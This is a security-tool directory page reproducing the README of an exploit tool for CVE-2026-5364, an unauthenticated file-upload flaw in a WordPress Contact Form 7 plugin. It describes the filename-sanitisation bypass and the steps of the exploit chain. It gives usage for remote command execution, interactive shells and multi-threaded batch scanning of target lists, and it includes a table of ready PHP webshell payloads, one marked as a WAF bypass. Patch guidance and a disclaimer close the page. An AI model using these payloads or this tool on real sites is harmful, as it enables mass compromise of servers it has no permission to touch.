Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-5364 — CVE-2026-5364 is a CVSS 8.1 (High) Unauthenticated Arbitrary File Upload vulnerability in the Drag and Drop File Upload for Contact Form 7 | Kitploit
Tools/GitHubGitHub/xxconi/cve-2026-5364
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload Development
GitHubxxconi/cve-2026-5364

CVE-2026-5364

CVE-2026-5364 is a CVSS 8.1 (High) Unauthenticated Arbitrary File Upload vulnerability in the Drag and Drop File Upload for Contact Form 7

View Repository
2 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-5364

CVE-2026-5364 is a CVSS 8.1 (High) Unauthenticated Arbitrary File Upload vulnerability in the Drag and Drop File Upload for Contact Form 7

CVE-2026-5364 — CF7 Drag & Drop File Upload RCE

Unauthenticated Arbitrary File Upload via sanitize_file_name() Bypass CVSS 8.1 (High) | Affected: <= 1.1.3 | Patched: 1.1.4


📋 Overview

FieldValue
CVE IDCVE-2026-5364
PluginDrag and Drop File Upload for Contact Form 7
Slugdrag-and-drop-file-upload-for-contact-form-7
CVSS8.1 (High)
VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected<= 1.1.3
Patched1.1.4
ResearcherThomas Sanzey
PublishedApril 23, 2026

🔍 Vulnerability Summary

The plugin reads the file extension before sanitize_file_name() sanitization. An attacker uploads a file named shell.php$:

root@kitploit:~
pathinfo('shell.php$', PATHINFO_EXTENSION)  →  'php$'   ← bypasses the blacklist
sanitize_file_name('shell.php$')            →  'shell.php'  ← saved as PHP

Chain of three independent weaknesses:

  1. Attacker-controlled allowlist — type POST parameter is read from the user
  2. Extension before sanitize — pathinfo() is applied to the raw filename
  3. Late sanitization — sanitize_file_name() inside wp_unique_filename() removes the $ character

⚙️ Installation

root@kitploit:~
git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests

Requirements

  • Python 3.8+
  • requests library
  • Target: WordPress + CF7 D&D Upload <= 1.1.3 + a page with a CF7 form

🚀 Usage

Single Target

root@kitploit:~
# Basic exploit (id command)
python CVE-2026-5364.py -u https://target.com

# Custom command
python CVE-2026-5364.py -u https://target.com -c "whoami"

# Interactive shell
python CVE-2026-5364.py -u https://target.com --interactive

# Different shell type
python CVE-2026-5364.py -u https://target.com --shell exec

# Verbose + proxy
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080

Batch Scanning

root@kitploit:~
# Scan with 20 threads
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt

# Also test patched versions
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30

# Save results to file
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt

All Parameters

root@kitploit:~
Target:
  -u, --url URL         Single target URL
  -l, --list FILE       Target list (URL per line)

Exploit:
  -c, --cmd CMD         OS command (default: id)
  --shell TYPE          Webshell type: basic|exec|pass|eval|info
  -i, --interactive     Open interactive shell
  --no-skip-patched     Also try patched versions

Scanning:
  -t, --threads N       Number of threads (default: 10)
  --timeout S           Timeout in seconds (default: 15)
  --proxy URL           Proxy address

Output:
  -o, --output FILE     Results file
  -v, --verbose         Verbose output
  --no-color            Disable colored output

🐚 Webshell Types


🔬 Technical Detail

Exploit Chain

root@kitploit:~
1. Nonce Detection
   └─ Exposed to every visitor via wp_localize_script()
      GET /contact/ → "nonce":"abc123def4" inside HTML

2. Shell Upload
   └─ POST /wp-admin/admin-ajax.php
      action=cf7_file_uploads
      nonce=abc123def4
      type=php$          ← not in blacklist
      file=shell.php$    ← sanitize_file_name() → shell.php

3. URL Retrieval
   └─ Response: {"status":"ok","text":"https://target.com/wp-content/
                 uploads/cf7-uploads-custom/6831a2f4b3c12.php"}

4. RCE
   └─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
      uid=33(www-data) gid=33(www-data) groups=33(www-data)

Bypass Characters

Characters removed by sanitize_file_name():

root@kitploit:~
$  %  ~  `  (space)

The tool automatically tries all bypass characters.


🛡️ Mitigating Factors


🩹 Solution

Update the plugin to 1.1.4 or later.

root@kitploit:~
# Update with WP-CLI
wp plugin update drag-and-drop-file-upload-for-contact-form-7

Code Fix (1.1.4)

root@kitploit:~
// WRONG (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);

// CORRECT (1.1.4)
$clean_name     = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);

// type parameter now read from admin setting
$type = $this->get_admin_allowed_types($form_id);  // not from POST

⚠️ Legal Disclaimer

This tool is developed solely for educational and defensive security research purposes. Unauthorized use on systems is prohibited and may have legal consequences. Use only on systems you have permission to test.


📄 References

  • Wordfence Advisory
  • WordPress Plugin Page
  • NVD CVE-2026-5364
  • sanitize_file_name() Docs
Download Tool
TypePayloadUsage
basic<?php system($_GET["cmd"]); ?>General purpose
exec<?php echo shell_exec($_GET["cmd"]); ?>Full output
pass<?php passthru($_GET["cmd"]); ?>Binary output
eval<?php @eval(base64_decode($_POST["x"])); ?>Stealth/WAF bypass
info<?php phpinfo(); ?>PHP info
FactorImpact
Apache .htaccess (Content-Disposition: attachment)Prevents PHP execution
Nginx / LiteSpeed.htaccess ignored — RCE possible
Random filename (uniqid())Ineffective because AJAX response returns the URL
NonceCSRF protection, not authentication — ineffective